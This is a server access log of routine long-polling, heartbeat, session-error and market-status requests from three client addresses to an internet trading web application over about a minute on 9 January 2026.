[09/Jan/2026:15:41:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944783451 HTTP/1.1" -
[09/Jan/2026:15:41:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944785400 HTTP/1.1" -
[09/Jan/2026:15:41:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:41:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:41:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:41:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:41:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944786024 HTTP/1.1" -
[09/Jan/2026:15:41:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:41:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:41:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:41:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:41:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:41:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:41:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944788487 HTTP/1.1" -
[09/Jan/2026:15:41:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944788890 HTTP/1.1" -
[09/Jan/2026:15:42:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944790453 HTTP/1.1" -
[09/Jan/2026:15:42:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944791145 HTTP/1.1" -
[09/Jan/2026:15:42:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:42:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:42:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944793515 HTTP/1.1" -
[09/Jan/2026:15:42:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944794882 HTTP/1.1" -
[09/Jan/2026:15:42:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944795475 HTTP/1.1" -
[09/Jan/2026:15:42:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:42:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:42:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944796202 HTTP/1.1" -
[09/Jan/2026:15:42:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:42:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:42:08 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944798569 HTTP/1.1" -
[09/Jan/2026:15:42:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944800886 HTTP/1.1" -
[09/Jan/2026:15:42:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944800494 HTTP/1.1" -
[09/Jan/2026:15:42:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944801265 HTTP/1.1" -
[09/Jan/2026:15:42:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944803601 HTTP/1.1" -
[09/Jan/2026:15:42:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944805516 HTTP/1.1" -
[09/Jan/2026:15:42:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944806878 HTTP/1.1" -
[09/Jan/2026:15:42:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944806454 HTTP/1.1" -
[09/Jan/2026:15:42:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944808642 HTTP/1.1" -
[09/Jan/2026:15:42:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944810548 HTTP/1.1" -
[09/Jan/2026:15:42:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944811610 HTTP/1.1" -
[09/Jan/2026:15:42:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944812882 HTTP/1.1" -
[09/Jan/2026:15:42:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944813671 HTTP/1.1" -
[09/Jan/2026:15:42:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944815586 HTTP/1.1" -
[09/Jan/2026:15:42:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:42:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944816758 HTTP/1.1" -
[09/Jan/2026:15:42:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:42:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:42:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:42:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:42:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:42:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944818697 HTTP/1.1" -
[09/Jan/2026:15:42:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944818886 HTTP/1.1" -
[09/Jan/2026:15:42:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944820617 HTTP/1.1" -
[09/Jan/2026:15:42:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:42:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:42:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944821944 HTTP/1.1" -
[09/Jan/2026:15:42:33 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944823740 HTTP/1.1" -
[09/Jan/2026:15:42:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944824894 HTTP/1.1" -
[09/Jan/2026:15:42:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944825642 HTTP/1.1" -
[09/Jan/2026:15:42:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:42:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:42:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:42:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:42:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944827117 HTTP/1.1" -
[09/Jan/2026:15:42:38 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944828782 HTTP/1.1" -
[09/Jan/2026:15:42:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944830886 HTTP/1.1" -
[09/Jan/2026:15:42:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944830680 HTTP/1.1" -
[09/Jan/2026:15:42:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944832200 HTTP/1.1" -
[09/Jan/2026:15:42:43 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944833811 HTTP/1.1" -
[09/Jan/2026:15:42:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944835702 HTTP/1.1" -
[09/Jan/2026:15:42:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944836884 HTTP/1.1" -
[09/Jan/2026:15:42:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944837324 HTTP/1.1" -
[09/Jan/2026:15:42:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944838854 HTTP/1.1" -
[09/Jan/2026:15:42:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944840748 HTTP/1.1" -
[09/Jan/2026:15:42:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944842888 HTTP/1.1" -
[09/Jan/2026:15:42:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944842474 HTTP/1.1" -
[09/Jan/2026:15:42:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944843879 HTTP/1.1" -
[09/Jan/2026:15:42:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:42:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:42:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:42:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:42:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944845782 HTTP/1.1" -
[09/Jan/2026:15:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:42:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:42:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:42:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:42:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:42:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944847589 HTTP/1.1" -
[09/Jan/2026:15:42:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944848884 HTTP/1.1" -
[09/Jan/2026:15:42:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944848912 HTTP/1.1" -
[09/Jan/2026:15:43:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944850808 HTTP/1.1" -
[09/Jan/2026:15:43:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:43:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:43:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944852652 HTTP/1.1" -
[09/Jan/2026:15:43:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944853940 HTTP/1.1" -
[09/Jan/2026:15:43:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944854889 HTTP/1.1" -
